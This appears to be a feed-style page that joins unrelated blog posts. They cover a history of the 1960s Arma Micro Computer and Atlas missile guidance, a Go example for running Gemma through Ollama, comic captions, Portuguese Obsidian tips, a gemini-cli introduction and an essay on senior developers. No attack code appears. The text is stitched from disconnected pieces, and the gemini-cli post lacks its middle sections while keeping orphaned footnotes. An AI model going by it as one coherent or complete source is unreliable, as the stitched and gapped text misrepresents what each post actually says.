Three circuit modules from the Arma Micro Computer. Image from "The Arma Micro Computer for Space Applications".

The wafers were mounted on printed circuit boards, with up to 22 wafers on a board. Pairs of boards were mounted back to back with polyurethane foam between the boards to form a "sandwich", which was conformally coated. The result was a module that was protected against the harsh environment of a missile or spacecraft. The computer could handle a shock of 100 g's and temperatures of 0°C to 85°C as well as 100% humidity or a vacuum.

Because the Micro Computer was a serial machine, its bits were constantly moving. For register storage such as the accumulator, it used six magnetostrictive torsional delay lines, storing a sequence of bits as physical twists that formed pulses racing through a long coil of wire.

The photo below shows the Arma Micro Computer with the case removed. If you look closely, you can see the 22 small circuit wafers mounted on each printed circuit board. The memory driver boards and delay lines are towards the back, spaced more widely than the other printed circuit boards. The cable harness underneath the boards provides the connections between boards.4

Circuit boards inside the Arma Micro Computer. Photo courtesy of Daniel Plotnick.

Circuit boards inside the Arma Micro Computer. Photo courtesy of Daniel Plotnick.

Transfluxors

One of the most unusual parts of the Micro Computer was its storage. Computers at the time typically used magnetic core memory, with each bit stored in a tiny ferrite ring, magnetized either clockwise or counterclockwise to store a 0 or 1. One drawback of standard core memory was that the process of reading a core also cleared the core, requiring data to be written back after a read.

Diagram of Arma's memory system. From patent 3048828.

Diagram of Arma's memory system. From patent 3048828.

The Micro Computer used ferrite cores, but these were "two-aperture" cores, with a larger hole and a smaller hole, as shown above. Data is written to the "major aperture" and read from the "minor aperture". Although the minor aperture switches state and is erased during a read, the major aperture retains the bit, allowing the minor aperture to be switched back to its original state. Thus, unlike regular core memory, transfluxors don't lose their data when reading.

The resulting system is called non-destructive readout (NDRO), compared to the destructive readout (DRO) of regular core memory.6 The Micro Computer used non-destructive readout memory to ensure that the program memory remained uncorrupted. In contrast, if a program is stored in regular core memory, each instruction must be written back as it is executed, creating the possibility that a transient could corrupt the software. By using transfluxors, this possibility of error is eliminated. (In either case, core memory has the convenient property that data is preserved when power is removed, since data is stored magnetically. With modern semiconductor memory, you lose data when the power goes off.)

The photo below shows a compact transfluxor-based storage module used in the Micro Computer, holding 512 words. In total, the computer could hold up to 7808 words of program memory and 256 words of data memory. It appears that transfluxors didn't live up to their promise, since most computers used regular core memory until semiconductor memory took over in the early 1970s.

Transfluxor-based core memory module from the Arma Micro Computer. Image from "The Arma Micro Computer for Space Applications".

Transfluxor-based core memory module from the Arma Micro Computer. Image from "The Arma Micro Computer for Space Applications".

Arma's history and the path to the Micro Computer

The Arma Engineering Company was founded in 1918 and built advanced military equipment.7 Its first product was a searchlight for the Navy, followed by a gyroscopic compass and analog computers for naval gun targeting. In 1939, Arma produced the Torpedo Data Computer, a remarkable electromechanical analog computer. US submarines used this computer to track target ships and automatically aim torpedos. The Torpedo Data Computer performed complex trigonometric calculations and integration to account for the motion of the target ship and the submarine. While the Torpedo Data Computer performed well, the Navy's Mark 14 torpedo had many problems—running too deep, exploding too soon, or failing to explode—making torpedoes often ineffectual even with a perfect hit.

The Torpedo Data Computer Mark III in the USS Pampanito.

The Torpedo Data Computer Mark III in the USS Pampanito.

Arma underwent major corporate changes due to World War II. Before the war, the German-owned Bosch Company built vehicle starters and aircraft magnetos in the United States. When the US entered World War II in 1941, the government was concerned that a German-controlled company was manufacturing key military hardware so the Office of Alien Property Custodian took over the Bosch plant. In 1948, the banking group that controlled Arma bought Bosch from the Office of the Alien Property Custodian, merging them into the American Bosch Arma Corporation (AMBAC).8 (Arma had earlier received the rights to gyrocompass technology from the German Anschutz company, seized by the Navy after World War I, so Arma benefitted twice from wartime government seizures.)

In the mid-1950s, Arma moved into digital computers, building an inertial guidance computer for the Atlas nuclear missile program. America's first ICBM was the Atlas missile, which became operational in 1959. The first Atlas missiles used radio guidance from the launch site to direct the missile. Since radio signals could be jammed by the enemy, this wasn't a robust solution.

The solution to missile guidance was an inertial navigation system. By using sensitive gyroscopes and accelerometers, a missile could continuously track its position and velocity without any external input, making it unjammable. A key developer of this system was Arma's Wen Tsing Chow, one of the driving forces behind digital aviation computers. He faced extreme skepticism in the 1950s for the idea of putting a computer in a missile. One general mocked him, asking "Where are you going to put the five Harvard professors you'll need to keep it running?" But computerized navigation was successful and in 1961, the Atlas missile was updated to use the Arma inertial guidance computer. It was said to be the first production airborne digital computer.9 Wen Tsing Chow also invented the programmable read-only memory (PROM), allowing missile targeting information to be programmed into a computer outside the factory.

Wen Tsing Chow, computer engineer, with Arma Micro Computer. From Control Engineering, January 1963, page 19. Courtesy of Daniel Plotnick.

Wen Tsing Chow, computer engineer, with Arma Micro Computer. From Control Engineering, January 1963, page 19. Courtesy of Daniel Plotnick.

The photo below shows the Atlas ICBM's guidance system. The Arma W-107A computer is at the top and the gyroscopes are in the middle. This computer was an 18-bit serial machine running at 143.36 kHz. It ran a hard-wired program that integrated the accelerometer information and solved equations for the crossrange error function, range error function, and gravity, making these computations every half second.10 The computer weighed 240 pounds and consumed 1000 watts. The computer contained about 36,000 components: discrete transistors, diodes, resistors, and capacitors mounted on 9.5" × 6.5" printed-circuit boards. On the ground, the computer was air-cooled to 55 °F, but there was no cooling after launch as the computer only operated for five minutes of powered flight and wouldn't overheat during that time.

Guidance system for Atlas ICBM.  From "Atlas Inertial Guidance System" by John Heiderstadt. Photo unclassified in 1967.

Guidance system for Atlas ICBM. From "Atlas Inertial Guidance System" by John Heiderstadt. Photo unclassified in 1967.

The Atlas wasn't originally designed for a computerized guidance system so there wasn't room inside the missile for the computer. To get around this, a large pod was stuck on the side of the missile to hold the computer and gyroscopes, as indicated in the photo below. This doesn't look aerodynamic, but I guess it worked.

Atlas missile. Arrow indicates the pod containing the Arma guidance computer and inertial navigation system. Original photo by Robert DuHamel, CC BY-SA 3.0.

Atlas missile. Arrow indicates the pod containing the Arma guidance computer and inertial navigation system. Original photo by Robert DuHamel, CC BY-SA 3.0.

The Atlas guidance computer (left, below) consisted of three aluminum sections called "decks". The top deck held two replaceable target constant units, each providing 54 navigation constants that specified a target. The constants were stored in a stack of printed circuit boards 16" × 8" × 1.5", covered in over a thousand diodes, Wen Tsing Chow's PROM memory. A target was programmed into the stack by a rack of equipment that would selectively burn out diodes, changing the corresponding bit to a 1. (This is why programming a PROM is referred to as "burning the PROM".11) The diode matrix was later replaced with a transfluxor memory array, which had the advantage that it could be reprogrammed as necessary. The top deck also had connectors for the accelerometer inputs, the outputs, and connections for ground support equipment. The bottom deck had power connectors for 28 volts DC and 115V 400 Hz 3-phase AC. In the bottom deck, quartz delay lines were used for storage, representing bits as acoustic waves. Twelve circuit cards, each with a faceted quartz block four inches in diameter, provided a total of 32 words of storage.

Three generations of Arma Computers: the W-107A Atlas ICBM guidance computer,  the Lightweight Airborne Digital Computer, and the Arma Micro Computer (perhaps a prototype). Photo courtesy of Daniel Plotnick.

Three generations of Arma Computers: the W-107A Atlas ICBM guidance computer, the Lightweight Airborne Digital Computer, and the Arma Micro Computer (perhaps a prototype). Photo courtesy of Daniel Plotnick.

Arma considered the Micro Computer the third generation of its airborne computers. The first generation was the Atlas guidance computer, constructed from germanium transistors and diodes (in the pre-silicon era). The second-generation computer moved to silicon transistors and diodes. The third-generation computers still used discrete components, but mounted on the small square wafers. The third generation also had a general-purpose architecture and programmable transfluxor memory instead of a hard-wired program.

After the Micro Computer

Arma continued to develop computers, improving the Arma Micro Computer. The Micro C computer (1965) was developed for Navy ships and submarines. Much like the original Micro, the Micro C used transfluxor storage, but increased the clock frequency to 972 kHz. The computer was much larger: 3.87 cubic feet and 150 pounds. This description states that "the machine is an outgrowth of the ARMA product line of micro computers and is logically and electrically similar to micro-computers designed for missile environments."

Module from the Arma Micro-C Computer. Photo courtesy of Daniel Plotnick.

Module from the Arma Micro-C Computer. Photo courtesy of Daniel Plotnick.

In mid-1966, Arma introduced the Micro D computer, built from TTL integrated circuits. Like the original Micro, this computer was serial, but the Micro D had a word length of 18 bits and ran at 1.5 MHz. It weighed 5.25 pounds and was very compact, just 0.09 ft3. Instead of transfluxors, the Micro D used regular magnetic core memory, 4K to 31K words.

The Arma Micro-D 1801 computer. The 1808 was a slightly larger model. Photo courtesy of Daniel Plotnick.

The Arma Micro-D 1801 computer. The 1808 was a slightly larger model. Photo courtesy of Daniel Plotnick.

The widely-used Litton LTN-51 inertial navigation system was built around the Arma Micro-D computer.12 This navigation system was designed for commercial aircraft, but was also used for military applications, ships, and NASA aircraft. Aircraft from early Concordes to Air Force One used the LTN-51 for navigation. The photo below shows a navigation unit with the Arma Micro-D computer in the lower left and the gyroscope unit on the right.

Litton LTN-51 inertial navigation system.  Photo courtesy of pascal mz, concordescopia.com.

Litton LTN-51 inertial navigation system. Photo courtesy of pascal mz, concordescopia.com.

In early 1968, the Arma Portable Micro D was introduced, a 14-pound battery-powered computer also called the Celestial Data Processor. This handheld computer was designed for navigation in crewed earth orbital flight, determining orbital parameters from stadimeter and sextant measurements performed by astronauts. As far as I can tell, this computer never made it beyond the prototype stage.

The Arma Celestial Data Processor (source).

The Arma Celestial Data Processor (source).

Conclusions

The Arma Micro Computer is just one of the dozens of compact aerospace computers of the 1960s, a category that is mostly forgotten and ignored. Another example is the Delco MAGIC I (1961), said to be the "first complete airborne computer to have its logic functions mechanized exclusively with integrated circuits". IBM's 4 Pi series started in 1966 and was used in many systems from the F-15 to the Space Shuttle. By 1968, denser MOS/LSI chips were used in general-purpose aerospace computers such as the Rockwell MOS GP and the Texas Instruments Model 2502 LSI Computer. 13

Arma also illustrates that a company can be on the cutting edge of technology for decades and then suddenly go out of business and be forgotten. After some struggles, Arma was acquired by United Technologies in 1978 for $210 million and was then shut down in 1982. (The German Bosch corporation remains, now a large multinational known for products such as dishwashers, auto parts, and power tools.) Looking at a list of aerospace computers shows many innovative but vanished companies: Univac, Burroughs, Sperry (now all Unisys), AC Electronics (now part of Raytheon), Autonetics (acquired by Boeing), RCA (bought by GE), and TRW (acquired by Northrop Grumman).

Finally, the Micro Computer illustrates that terms such as "microcomputer" are not objective categories but are social constructs. At first, it seems obvious that the Arma Micro Computer is not a real microcomputer. If you consider a microcomputer to be a computer built around a microprocessor, that's true. (Although "microprocessor" is also not as clear as you might think.) But a microcomputer can also be defined as "A small computer that includes one or more input/output units and sufficient memory to execute instructions" (according to the IBM Dictionary of Computing, 1994)14 and the Arma Micro Computer meets that definition. The "microcomputer" is a shifting concept, changing from the 1960s to the 1990s to today.

For more, follow me on Twitter @kenshirriff or RSS for updates. I'm also on Mastodon as @[email protected]. Thanks to Daniel Plotnick for providing a great deal of information and photos. Thanks to John Hartman for obtaining an obscure conference proceedings for me.

Notes and references

  1. I should mention the danger of "firsts" from a historical perspective. Historian Michael Williams advised "not to use the word 'first'" and said, "If you add enough adjectives to a description you can always claim your own favorite." (See ENIAC in Action, p7.)

    The first usage of "micro-computer" that I could find is from 1956. In Isaac Asimov's short story "The Dying Night", he mentions a "micro-computer" in passing: "In recent years, it [the handheld scanner] had become the hallmark of the scientist, much as the stethoscope was that of the physician and the micro-computer that of the statistician."

    Another interesting example of a "micro-computer" is the Texas Instruments Semiconductor Network Computer. This palm-sized computer is often considered the first integrated-circuit computer. It was an 11-bit serial computer running at 100 kHz, built out of RS flip-flops, NOR gates, and logic drivers. The 1961 article below described this computer as a "micro-computer", although this was a one-off use of the term, not the computer's name. This brochure describes the Semiconductor Network Computer in more detail and Semiconductor Networks are described in detail in this article. Unlike modern ICs, these integrated circuits used flying wires for internal connections rather than a deposited metal layer, making their design a dead end.

    The Texas Instruments Semiconductor Network Computer. From Computers and Automation, Dec. 1961.

    The Texas Instruments Semiconductor Network Computer. From Computers and Automation, Dec. 1961.

     

  2. Most of the information on the Arma Micro Computer in this article is from "The Arma Micro Computer for Space Applications", by E. Keonjian and J. Marx, Spaceborne Computing Engineering Conference, 1962, pages 103-116. 

  3. The Arma Micro Computer's instruction set consisted of 19 22-bit instructions, shown below.

    Instruction set of the Arma Micro Computer. Figure from "The Arma Micro Computer for Space Applications".

    Instruction set of the Arma Micro Computer. Figure from "The Arma Micro Computer for Space Applications".

     

  4. This block diagram shows the structure of the Micro Computer. The accumulator register (AC) is used for all data transfers as well as addition and subtraction. The multiply-divide register is used for multiplication, division, and square roots. The product register (PR), quotient register (QR), and square root register (SR) are used by the corresponding instructions. The data buffer register (S) holds data moving in or out of storage; it is shown with two 11-bit parts.

    Block diagram of the Arma Micro Computer. Figure from "The Arma Micro Computer for Space Applications".

    Block diagram of the Arma Micro Computer. Figure from "The Arma Micro Computer for Space Applications".

    For control logic, the location counter (L) is the 13-bit program counter. For a subroutine call, the current address can be stored in the recall register (RR), which acts as a link register to hold the return address. (The RR is not shown on the diagram because it is held in memory.) Instruction decoding uses the instruction register (I), with the next instruction in the instruction buffer (B). The operand register (P) contains the 13-bit address from an instruction, while the remaining register (R) is used for I/O addressing. 

  5. Arma's original plan was to mount circuits on ceramic wafers. Resistors would be printed onto the wafer and wiring silk-screened. (This is similar to IBM's SLT modules (1964), although IBM mounted diode and transistors as bare dies rather than components.) However, the Micro Computer ended up using epoxy-glass wafers with small, but discrete components: standard TO-46 transistors, "fly-speck" diodes, and 1/10 watt resistors. I don't see much advantage to these wafers over mounting the components directly on the printed-circuit board; maybe standardization is the benefit. 

  6. The Micro Computer used an unusual mechanism to select a word to read or write. Most computers used a grid of selection wires; by energizing an X and a Y wire at the same time, the corresponding core was selected. The key idea of this "coincident-current" approach is that each wire has half the current necessary to flip a core, so the core with the energized X and Y wires will have enough current to flip. This puts tight constraints on the current level, since too much current will flip all the cores along the wire, but not enough current will not flip the selected core. What makes this difficult is that the properties of a core change with temperature, so either the cores need to be temperature-stabilized or the current needs to be adjusted based on the temperature.

    The Micro Computer instead used a separate wire for each word, so as long as the current is large enough, the cores will flip. This approach avoids the issues with temperature sensitivity, an important concern for a computer that needs to handle the large temperature swings of a spacecraft, not an air-conditioned data center. Unfortunately, it requires much more wiring. Specifically, the large advantage of the coincident-current approach is that an N×N grid of wires lets you select N2 words. With the Micro Computer approach, N wires only select N words, so the scalability is much worse.

    For more on Arma's memory systems, see patents: Memory Device, 3048828 and Multiaperture Core Memory Matrix, 3289181

  7. The capitalization of Arma vs. ARMA is inconsistent. It often appears in all-caps, but both forms are used, sometimes in the same article. "Arma" is not an acronym; the name came from the names of its founders: Arthur Davis and David Mahood (source: Between Human and Machine, p54). I suspect a 1960s corporate branding effort was responsible for the use of all-caps. 

  8. For more on the corporate history of Arma, see IRE Pulse, March 1958, p9-10. Details of corporate politics and what went wrong are here. More information on the financial ups and downs of Arma is in "Charles Perelle's Spacemanship", Fortune, January 1959, an article that focused on Charles Perelle, the president of American Bosch Arma. 

  9. Wikipedia says that Arma's guidance computer was "the first production airborne digital computer". However, the Hughes Digitair (1958) has also been called "the first airborne digital computer in actual production." Another source says the Arma computer was the "first all-solid-state, high-reliability, space-borne digital computer." The TRADIC (Transistorized Airborne Digital Computer) (1954) was earlier, but was a prototype system, not a production system. In turn, the TRADIC is said by some to be the first fully transistorized computer, but that depends on exactly how you interpret "fully".

    This is another example of how the "first" depends on the specific adjectives used. 

  10. The information on the Arma W-107A computer is from "Atlas Inertial Guidance System: As I Remember It" by Principal Engineer John Heiderstadt. 

  11. Chow Wen Tsing's PROM patent discusses the term "burning", explaining that it refers to burning out the diodes electrically. To widen the patent, he clarifies that "The term 'blowing out' or 'burning out' further includes any process which, by means less drastic than actual destruction of the non-linear elements, effects a change of the circuit impedance to a level which makes the particular circuit inoperative." This description prevented someone from trying to get around the patent by stating that nothing was really burning. 

  12. Details on the LTN-51 navigation system and its uses are in this document

  13. For more information on early aerospace computers, see State-of-the-art of Aerospace Digital Computers (1967), updated as Trends in Aerospace Digital Computer Design (1969). Also see the 1970 Survey of Military CPUs. Efficient partitioning for the batch-fabricated fourth generation computer (1968) discusses how "The computer industry is on the verge of an upheaval" from new hardware including LSI and fast ROMs, and describes various LSI aerospace computers. 

  14. The "IBM Dictionary of Computing" (1994) has two definitions of "microcomputer": "(1) A digital computer whose processing unit consists of one or more microprocessors, and includes storage and input/output facilities. (2) A small computer that includes one or more input/output units and sufficient memory to execute instructions; for example a personal computer. The essential components of a microcomputer are often contained within a single enclosure." The latter definition was from an ISO/IEC draft standard for terminology so it is somewhat "official". 

Gemma, Ollama and LangChainGo

Yesterday Google released Gemma - an open LLM that folks can run locally on their machines (similarly to llama2). I was wondering how easy it would be to run Gemma on my computer, chat with it and interact with it from a Go program.

Turns it - thanks to Ollama - it's extremely easy! Gemma was already added to Ollama, so all one has to do is run:

$ ollama run gemma

And wait for a few minutes while the model downloads. From this point on, my previous post about using Ollama locally in Go applies with pretty much no changes. Gemma becomes available through a REST API locally, and can be accessed from ollama-aware libraries like LangChainGo.

I went ahead and added a --model flag to all my code samples from that post, and they can all run with --model gemma now. It all just works, due to the magic of standard interfaces:

  • Gemma is packaged in a standard interface for inclusion in Ollama
  • Ollama then presents a standardized REST API for this model, just like it does for other compatible models
  • LangChainGo has an Ollama provider that lets us write code to interact with any model running through Ollama

So we can write code like:

package main

import (
  "context"
  "flag"
  "fmt"
  "log"

  "github.com/tmc/langchaingo/llms"
  "github.com/tmc/langchaingo/llms/ollama"
)

func main() {
  modelName := flag.String("model", "", "ollama model name")
  flag.Parse()

  llm, err := ollama.New(ollama.WithModel(*modelName))
  if err != nil {
    log.Fatal(err)
  }

  query := flag.Args()[0]
  ctx := context.Background()
  completion, err := llms.GenerateFromSinglePrompt(ctx, llm, query)
  if err != nil {
    log.Fatal(err)
  }

  fmt.Println("Response:\n", completion)
}

And then run it as follows:

$ go run ollama-completion-arg.go --model gemma "what should be added to 91 to make -20?"
Response:
 The answer is -111.

91 + (-111) = -20

Gemma seems relatively fast for a model running on a CPU. I find that the default 7B model, while much more capable than the default 7B llama2 based on published benchmarks - also runs about 30% faster on my machine.

Orbital Argument

"Some people say light is waves, and some say it's particles, so I bet light is some in-between thing that's both wave and particle depending on how you look at it. Am I right?" "YES, BUT YOU SHOULDN'T BE!"

Expansão da janela do Obsidian

print de janela do Obsidian com 2 setas numeradas apontando para elementos da sua interface visual descritos no texto do post.

Eu não uso, mas em muitos contextos faz sentido usar as janelas com múltiplas visões que o Obsidian oferece: por exemplo, você pode abrir lado a lado duas Notas relacionadas entre si, ou a edição e a visualização de uma mesma Nota.

Na imagem acima, eu (1) cliquei nas reticências do canto superior da tela de texto, selecionei a opção "Dividir para a direita", depois (2) cliquei em "Abrir visualização em gráfico".

O artigo "Expansão da janela do Obsidian" foi originalmente publicado no site TRILUX, de Augusto Campos.

Troca Rápida e Paleta de Comandos do Obsidian

print de janela do Obsidian com 2 setas numeradas apontando para elementos da sua interface visual descritos no texto do post.

Entre as opções da Faixa de Comandos estão duas que eu uso muito, indicadas pelas setas numeradas na imagem: (1) a Troca Rápida, que alterna a aba atual para editar uma Nota recente; e (2) a Paleta de Comandos, que dá acesso direto a tudo que o Obsidian (incluindo os plugins que você tiver) faz, até mesmo o que não é fácil de localizar nos menus.

O artigo "Troca Rápida e Paleta de Comandos do Obsidian" foi originalmente publicado no site TRILUX, de Augusto Campos.

Cícero #43

O post Cícero #43 apareceu primeiro em Mentirinhas.

gemini-cli: Access Gemini models from the command-line

This post is about a new command-line tool I've recently built in Go - gemini-cli, and how to use it for LLM-based data analysis with Google's Gemini models.

Background: I've been reading Simon Willison's posts about LLMs with interest, especially his work on tools that leverage LLMs and SQLite to create fun little analysis pipelines for local documents. Since I've recently done some Go work on Google's Gemini SDKs (also in langchaingo) and wrote a couple of blog posts about it, I was interested in creating a similar pipeline for myself using Go and Gemini models. This is how the idea for gemini-cli was born.

The tool

Like any Go command-line tool, gemini-cli is very easy to install:

$ go install github.com/eliben/gemini-cli@latest

And you're good to go! It will want a Gemini API key set in the GEMINI_API_KEY env var or passed with the --key flag. If you don't have an API key yet, you can get one quickly and for free from https://ai.google.dev/

The motivating task

For a while I've been interested in adding a "related posts" feature to my blog. It was clear that I'll want to use embeddings to convert my posts to vector space and then use vector similarity to find related posts. Check out my earlier post on RAG for additional information on these techniques.

Before starting to write the code, however, I wanted to experiment with a command-line tool so I could rapidly prototype. Think of it as crafting some text processing pipeline from classical Unix command-line tools before trying to implement it in a programming language. gemini-cli excels for precisely such prototyping.

What's next

For my task, I now have the basic information available to implement it, and all the infrastructure for running experiments; with gemini-cli in hand, this took less than 5 minutes. All I needed to do is write the tool :-)

I really enjoyed building gemini-cli; it's true to the spirit of simple, textual Unix CLIs that can be easily combined together through pipes. Using SQLite as the storage and retrieval format is also quite pleasant, and provides interoperability for free.

For you - if you're a Go developer interested in building stuff with LLMs and getting started for free - I hope you find gemini-cli useful. I've only shown its embed * subcommands, but the CLI also lets you chat with an LLM through the terminal, query the API for various model details, and everything is configurable with extra flags.

It's open-source, of course; the README file rendered on GitHub has extensive documentation, and more is available by running gemini-cli help. Try it, ask questions, open issues!


[1]I like using pss, but feel free to use your favorite tools - git grep, ag or just a concoction of find and grep.
[2]

A word of caution: LLMs have limited context window sizes; for embeddings, if the input is larger than the model's context window it may get truncated - so it's the user's responsibility to ensure that input documents are properly sized.

gemini-cli will report the maximal number of input tokens for supported models when you invoke the gemini-cli models command.

[3]We have to be careful with too much parallelism, because at the free tier the Gemini SDK may be rate-limited.

Ribbon - A faixa de comandos do Obsidian

print de janela do Obsidian com 2 setas numeradas apontando para elementos da sua interface visual mencionados no texto do post.

A faixa de comandos fica na lateral das janelas da versão Desktop, e dá acesso a recursos como a Troca Rápida (facilita alternar entre as Notas recentes!), a inserção de modelos, o acesso à Daily Note de hoje, a exibição da paleta de comandos, e mais.

Ainda veremos nesta série mais detalhes sobre alguns desses recursos, e outros são avançados demais para ela.

O artigo "Ribbon - A faixa de comandos do Obsidian" foi originalmente publicado no site TRILUX, de Augusto Campos.

A busca do Obsidian

O Obsidian é muito mais do que um bloco de notas: ele cria uma base pessoal de conhecimento. Ao acumular muitas notas (eu tenho literalmente milhares!), a função de busca ganha importância, e é por isso que ela está ali na barra lateral.

A imagem mostra, com setas numeradas: (1) onde ativa a barra lateral; (2) onde mostra a busca; (3) onde abre a ajuda dos riquíssimos operadores de busca, que vão além dos mostrados na tela.

O artigo "A busca do Obsidian" foi originalmente publicado no site TRILUX, de Augusto Campos.

Mentirinhas #2118

APOIE meu trabalho.

O post Mentirinhas #2118 apareceu primeiro em Mentirinhas.

Light Leap Years

When Pope Gregory XIII briefly shortened the light-year in 1582, it led to navigational chaos and the loss of several Papal starships.

Falsehoods Junior Developers believe about becoming Senior

These are mostly my thoughts about what I was expecting as a junior and how I perceived senior developers. To be honest, I was romanticizing them quite a bit — senior developers were the people who could solve all the problems, constantly told me what to do, and knew all the answers. It’s easy to fall prey to the fantasy that climbing the ranks will somehow bestow upon us a magical cloak of knowledge, authority, and ease.

I remember this one time before I was proficient in using the terminal. I had some issues with my Linux distribution. Something was not mounted properly or some file permissions errors, and I couldn’t figure it out on my own, so I asked one of the senior devs for help. The grace and elegance of how they navigated Vim and jumped around with shortcuts was inspiring — it stayed in my memory forever. I also aspired to be like them — fast, efficient, know-it-all coding gurus. The reality is much more grounded and, in its way, more rewarding.

Sometimes the senior devs are also just winging it.

The truth is that advancing your career is less about learning the terminal and more about embracing a new set of complex, nuanced responsibilities. Yes, you will get proficient in using the terminal. But you will also, in general, get better at solving simple problems, but those are not the problems you will be dealing with. To put it simply — The complexity of the issues will grow with your skill.

Before we start, this essay is not meant to discourage you but to prepare you for the reality ahead — Senior developers are not all-knowing 10x coders who can make unicorns out of thin air. So, let’s go through some of the Falsehoods that Juniors believe about Senior Developers.

Having all the answers

❌ Expectation: I will be able to solve all the bugs and know what's wrong in a matter of minutes.
✅ Reality: The more I learn, the more I realize how little I know. Let's figure this out together.

The belief that reaching a senior level means having all the answers is not just a misconception; it’s a misrepresentation of what it truly means to grow and succeed in the tech industry. So many new algorithms, new technologies, and new frameworks are being released daily — saying that you, as a senior, have all the answers is destructive to your growth.

Your expertise isn’t measured by the knowledge you possess but by your ability to:

  1. work with uncertainty
  2. ask the right questions to get to where you need to be in terms of understanding
  3. knowing how to find a solution once you have the understanding

It’s fine to say, “I don’t know,” or “I did not understand that completely; let’s discuss this in more depth.” Technology is a vast, ever-expanding universe. Your job is to solve problems, not to be a know-it-all. As a senior, you’re more of an amateur guide who knows how to get from point A to point B rather than an all-knowing guru who has memorized all the world’s capitals.

Working with latest tech

❌ Expectation: As a senior, I'll get to play with the latest tech and build amazing projects!
✅ Reality: This legacy code isn't going anywhere, and neither am I. Let's fix some bug that happens once every full moon.

Many junior developers dream of working exclusively with the latest frameworks and tools. However, a senior developer’s role often involves maintaining and improving legacy systems. These systems carry the weight of years of business logic, customer data, and operational insights. As a senior developer, you’ll find that a significant part of your role involves understanding these systems, figuring out why they’re breaking, and optimizing them to meet current and future demands. While also making sure not to break anything yourself.

Yes, it’s not as fun as it sounds, but that’s the reality — most of the software nowadays are legacy applications that require refactoring (which won’t be approved any time soon) so you’ll have to patch it up and work with what you have.

No more boring tasks

❌ Expectation: Being senior means I can avoid all the boring tasks.
✅ Reality: Endless meetings, documentation, and code reviews… Oh, and did I mention debugging legacy systems on Friday at 6 PM?

If only! If you’re expecting that once you’ve risen the ladder, you’ll be solving exciting problems left and right and not dealing with bureaucracy, I will have to disappoint you. The senior role comes with its share of seemingly mundane yet essential tasks: endless meetings, meticulous documentation, thorough code reviews, and, yes, debugging legacy systems at the most inconvenient times.

You might think ewww, meetings, documentation, code reviews. But once you reach the senior level, you will have a love-hate relationship with them. On the one hand, you will be annoyed that there’s little documentation; on the other hand, you will be sure the project is maintainable even after five years. Meetings will annoy you because they take so much time, but they make you happy because everyone is aligned and doing what’s needed. Code Reviews will annoy you because people will try to merge weird things that you need to improve, but you will be happy that your team is getting better based on your feedback.

In embracing the full spectrum of your role — including the boring parts — you’ll find that this can become the most fulfilling part of your work, filled with opportunities for impact and growth.

Making big changes

❌ Expectation: Has a million ideas on how to change this company 180 degrees! Let’s improve everything!
✅ Reality: Knows that nothing will change without management approval and the necessary budget.

It’s a common sentiment among junior developers to look at the systems, processes, and technologies around them and see endless opportunities for improvement. I was like that as well. I remember joining a company, taking a look at how they do things, thinking I knew better, and starting shooting suggestions left and right. When you’re young, you’re a hammer, and everything looks like a nail. This zeal is not only admirable but necessary for the evolution and growth of our industry. This way, you get to make tons of mistakes that will make you understand that not everything is a nail, and a hammer is not the only tool you should have.

Learn to communicate the value of your ideas in terms that resonate with relevant stakeholders, figure out how the budget is allocated, and take part in resource planning. The bigger the project, the harder it will be to jump through all the hoops, but well worth it.

As you grow in your expertise, you see that bringing change requires time — building a case for your idea that resonates not just on a technical level but also aligns with organizational goals, budgetary limitations, and risk management considerations.

Building things is just fun; building things that bring benefit to the company is fun and rewarding.

Time to relax

❌ Expectation: Once I become a senior, I will have more time to relax.
✅ Reality:  It’s fine, I’ll finish the work on Saturday.

Or

❌ Expectation:  I'll make sure to have a perfect work-life balance once I'm senior.
✅ Reality: Balancing deadlines, mentoring, and personal life is like juggling knives. Occasionally, one does get dropped.

The workload doesn’t necessarily decrease; it evolves. You might find yourself dedicating weekends to wrapping up projects or tackling unexpected issues. Your responsibilities extend beyond coding and technical tasks to include mentoring, strategic planning, and, often, greater involvement in the operational aspects of projects. You become more accountable and receive a higher salary for your commitment — junior developers don’t really care if their task is blocking ten other people and project delivery — but you do. These responsibilities mean that your work can extend into the evenings or weekends, especially when deadlines loom or unforeseen issues arise.

The expectation of having more time to relax as a senior is, in many ways, a misunderstanding of the nature of senior roles. While you do gain more autonomy over your schedule and the types of projects you work on, this autonomy comes with the responsibility to manage and deliver on multiple fronts, often requiring a juggling act between professional obligations and personal life.

I encourage you to develop strategies that support a sustainable balance between work and life. This might involve honing your time management skills or learning to delegate more effectively. It also means making a conscious effort to prioritize your health and personal relationships rather than a higher salary.

Deciding what to do

❌ Expectation: Once I become a senior, I will lead big projects, have a big impact, and tell others what to do!
✅ Reality: I miss the times when people told me what to do.

There’s a particular expectation I’d like to address today: the notion that rising to a senior position means you’ll no longer be involved in hands-on work, focusing instead solely on giving out tasks to other people, mentoring juniors, or focusing purely on architecting. While it’s true that senior roles involve a significant amount of meta-work — planning, thinking, making decisions — there’s still a lot of hands-on stuff that needs to be done — fixing legacy code base that only you know how to fix, performing code reviews for the new project, creating diagrams for the management to understand the security of the platform etc.

The more senior you become, the less people will tell you what to do, and the more they expect you to know what needs to be done. You go from dealing with tasks like “Implement quicksort instead of mergesort in function xyz” to “The management has decided to integrate AI in the HR department. How can we make it happen?” Both of those require hands-on work but on a different level.

With great power comes great responsibility — and anxiety. Leading big projects means facing the pressure of making the right decisions and the fear of failure. It’s a rewarding challenge, but it can also be a daunting one. Eventually, you might miss the days of focusing solely on coding tasks without the added responsibilities of figuring out the big-picture transitions.

Becoming irreplaceable

❌ Expectation: Once I become senior, they won’t be able to lay me off.
✅ Reality: I hope I won’t be laid off.

It’s a comforting thought to believe that seniority equates to job security. However, the reality of our industry, known for its rapid evolution and fluctuating market demands, tells a different story. You might be thinking, “I’m the only one who knows how to fix this legacy system; they wouldn’t dare to let me go,” and then they close down the whole project entirely, making your role redundant.

While senior roles do come with a degree of stability thanks to the experience and expertise required to attain them, the notion that one cannot be laid off is a myth. Companies face various pressures—economic downturns, shifts in strategy, mergers, and acquisitions—all of which can lead to restructuring and, unfortunately, layoffs that affect employees at all levels. Drastic times call for drastic measures, a.k.a “investors are expecting higher margins”.

I think the tech industry is one of the few industries where keeping up with the latest developments is a must. I don’t mean learning every new framework, but at least keeping up with what’s on the market. Embracing the mindset of a lifelong learner and staying adaptable safeguards your career from almost any unforeseen circumstances.

Being the only one in the company who knows some obscure framework that was used ten years ago does not give you a competitive edge during hiring.

That’s it, let me know in the comments if you have any more falsehoods you think deserve a mention.

Other Newsletter Issues:

The post Falsehoods Junior Developers believe about becoming Senior appeared first on Vadim Kravcenko.

Quem lembra do envelope vai-vem?

